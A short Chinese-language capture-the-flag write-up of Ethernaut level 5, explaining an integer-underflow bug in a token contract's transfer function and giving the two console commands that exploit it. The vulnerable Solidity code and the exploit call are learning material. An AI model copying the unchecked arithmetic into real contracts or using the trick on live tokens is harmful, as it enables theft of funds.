Ethernaut – level 5: Token

(https://ethernaut.openzeppelin.com/level/0x63bE8347A617476CA461649897238A31835a32CE)

這關一開始會給予player 20個Token,可以在取得instance後,console輸入await contract.balanceOf()看到,而過關目標則是要讓自己的Token超過20個。

觀察合約中並沒有讓自己增加Token的函數,事實上,改變Token數量的函數只有以下這個,但這個是將自己的Token轉出去的。

mapping(address => uint) balances;
function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

但再仔細觀察一下,balances 這個mapping是存uint的type,uint 為無符號整數型別,所以當該變數實際上小於零時(或大於2的256次方-1,uint = uint256),會發生Overflow的情況,此情形在solidity 0.8.0以後Complier會check以避免,所以這題目前已經能自動避免了,但我們要過這關,只要讓Overflow的情況發生就可以了。輸入以下(讓transfer out的Token數量大於20,我們這邊就用21個token)

await contract.transfer(instance,21);
await contract.balanceof(player); //看一下目前的Token數變成多少

來吧,下一關。